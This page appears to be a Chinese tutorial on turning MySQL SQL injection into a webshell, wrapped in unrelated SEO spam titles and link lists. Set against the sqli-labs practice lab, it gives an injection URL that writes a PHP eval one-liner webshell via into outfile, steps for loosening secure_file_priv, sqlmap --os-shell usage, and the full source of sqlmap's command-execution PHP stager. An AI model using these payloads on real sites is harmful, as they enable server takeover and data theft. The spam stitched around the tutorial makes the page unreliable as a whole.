当前位置: 首页 > wzjs >正文

壮族自治区桂林疫情情况 最新消息湖南竞价优化哪家好

壮族自治区桂林疫情情况 最新消息,湖南竞价优化哪家好,wordpress收发邮件,怎样获得做网站的客户导读: 时刻保持谦逊,始终保持学习,探寻事物的本质,不要把事情复杂化 目录: 前言流程通过into outfile 进行文件写入利用sqlmap 利用日志getshell 利用文件包含漏洞getshell 利用数据库备份getshell 前言&#xf…

导读:

时刻保持谦逊,始终保持学习,探寻事物的本质,不要把事情复杂化

目录:

  • 前言
  • 流程
  • 通过into outfile 进行文件写入
  • 利用sqlmap 
  • 利用日志getshell

  • 利用文件包含漏洞getshell

  • 利用数据库备份getshell

前言:

为什么SQL注入能拿Shell?

        SQL注入的本质是通过恶意SQL语句操控数据库,而部分数据库支持执行系统命令或写入文件。若能利用注入点向Web目录写入一句话木马,即可通过中国菜刀/蚁剑连接获取Shell。

流程:

寻找SQL注入点 → 判断数据库类型 → 获取Web路径 → 写入WebShell → 连接shell

一、通过into outfile 进行文件写入

利用条件:

  1. 拥有网站的写入权限
  2. 知道网站的绝对路径
  3. Secure_file_priv参数为空或可写目录(在mysql/my.ini中查看)

注:

        Secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。

  • secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

实际操作: 

(1)查看secure-file-priv参数的值
show global variables like '%secure%';

(2)修改secure_file_priv 的值 

windows下:修改my.ini 在[mysqld]内加入secure_file_priv =

linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =

在mysql/my.ini[mysqld]中查看是否有secure_file_priv 的参数,没有的话加上secure_file_priv = 即可,再查看secure_file_priv的值如下已经变为空了 。

(3)写入shell(以sqli-labs第七关为例)
1、判断注入点

通过输入?id=3')) and sleep(3) --+时成功延时,发现存在注入点就为3'))

2、判断列数

通过order by 3 回显正常、order by 4报错,判断为3列

3、写入shell

http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-7/?id=-3')) union select 1,<?php @eval($_POST['test']); ?>,3 into outfile 'C:\\Penetration\\TrafficTools\\phpStudy\\PHPTutorial\\WWW\\outfile.php' --+

4. 连接webshell 

使用蚁剑连接成功

二、利用sqlmap 

利用条件:

  1. 拥有网站的写入权限,能够使用单引号
  2. 知道网站的绝对路径
  3. Secure_file_priv参数为空或可写目录(在mysql/my.ini中查看)

实际操作: (以sqli-labs第一关为例)

sqlmap.py -u "http://xxx?id=1" --sql-shell  //进入命令行
(1)查看文件路径

select @@datadir;   //(mysql/data的路径,根目录一般与mysql处于同一目录)

(2)查看secure_file_priv 参数值

select @@secure_file_priv  //若为空则什么都不显示,若为NULL则显示NULL

(3)写入shell
1、--os-shell

(通过udf提权写入shell,也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件) 

2、选择语言

3、填写文件路径

sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的):

  • tmpbuwzg.php用来执行系统命令
  • tmpunynt.php用来上传文件

 tmpbuwzg.php文件内容为:

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>
4、成功访问

访问 tmpbuwzg.php并利用cmd执行命令

访问tmpunynt.php上传文件,正常上传木马连接即可。

时间有限,未完待续~

文中如有错误,还请各位大佬批评指正,感激不尽! 

http://www.dtcms.com/wzjs/459474.html

相关文章:

  • 手机网站什么意思萧山区seo关键词排名
  • 自己怎做网站网页设计参考网站
  • 有没有电商设计的网站参考宽带推广方案
  • 在线做venn图网站如何策划一个营销方案
  • 做网站公司 汉狮网络seo公司厦门
  • 专门做市场调查的网站北京网站优化体验
  • 这样做的网站百度的网址是什么
  • 互联壹佰做企业网站10条重大新闻事件
  • 中国网站建设公司有哪些方面前端优化
  • 餐饮网站建设教程建站模板平台
  • 网站建设和管理的总结怎么写哈尔滨网站建设
  • 网站建设有什么岗位职责怎么做推广和宣传平台
  • 广州网站建设的价格杭州推广公司
  • 个人做地方民生网站广州网络推广外包平台
  • 三线建设网站什么企业需要网络营销和网络推广
  • 网站建设优化seo鸡西seo
  • 一个人的免费高清影院网站seo入门基础教程书籍
  • 网站开发描述软文网官网
  • 做网站哪种语言好免费网上申请注册
  • 免费制作微信网页网站定制网站建设
  • 网站底部显示百度站点地图建设网站流程
  • 福州公司网站建设网络营销促销策略有哪些
  • 手机版免费个人简历seo快速排名软件app
  • 做网站在手机端预览乱码了市场营销毕业后找什么工作
  • 完成门户网站建设竞价推广sem
  • 南充响应式网站建设seo查询爱站网
  • 自己怎么开网站备案怎样做百度推广
  • myeclipse做网站的步骤北京百度总部
  • 现在新冠疫情怎么样了朝阳网站seo
  • 网站建设优化建议新华传媒b2b商务平台